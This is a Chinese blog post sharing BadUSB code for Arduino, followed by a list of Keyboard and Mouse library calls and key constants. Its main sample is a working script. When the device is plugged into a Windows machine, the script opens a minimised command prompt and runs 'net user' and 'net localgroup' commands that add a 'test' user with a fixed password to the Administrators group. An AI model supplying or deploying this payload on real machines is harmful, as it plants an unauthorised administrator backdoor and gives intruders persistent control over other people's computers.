【分享】badusb-代码篇

badusb代码介绍及分享


建议先在虚拟机测试,有些badusb恶意代码会使你的电脑系统受损,badusb对linux系统无效,如将badusb循环执行 Alt +F4 关闭窗口则无法在windows烧写,这时候就可以使用Linux版的Arduino进行烧写(树莓派等)。更多badusb代码可上github 查看


添加用户示例代码:

#include <Keyboard.h>
void setup() {
  // 这里执行一次
  Keyboard.begin();//开始键盘通讯 
  delay(2000);//初始化时间
  Keyboard.press(KEY_LEFT_GUI); //点击win键
  delay(50); //延迟执行时间
  Keyboard.press('r'); //点击r键
  delay(50);
  Keyboard.release(KEY_LEFT_GUI); //释放win键
  Keyboard.release('r'); //释放r键
  delay(50);
  Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //打开cmd并将串口最小化
  delay(100);
  Keyboard.press(KEY_RETURN); //回车
  Keyboard.release(KEY_RETURN); //释放回车
  delay(50);
  Keyboard.println("net user test 123456 /add&net localgroup Administrators test /add"); //添加test用户
  delay(1000);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.println("exit");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.end();//结束键盘通讯 
}


void loop() {
  // 这里循环执行

}
按键介绍:
delay(5000);//延时毫秒
 
Keyboard.begin();     //开始键盘通讯
Keyboard.end();     //结束键盘通讯
Keyboard.press();     //按下键盘按键     如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release();     //释放键盘按键
Keyboard.println("");     //输入字符串使用双引号括起来
 
 
Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
Mouse.isPressed();// 
 
 
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI    //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12


下载


本博客所有文章如无特别注明均为原创。作者:KING复制或转载请以超链接形式注明转自 千世博客
原文地址《【分享】badusb-代码篇
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)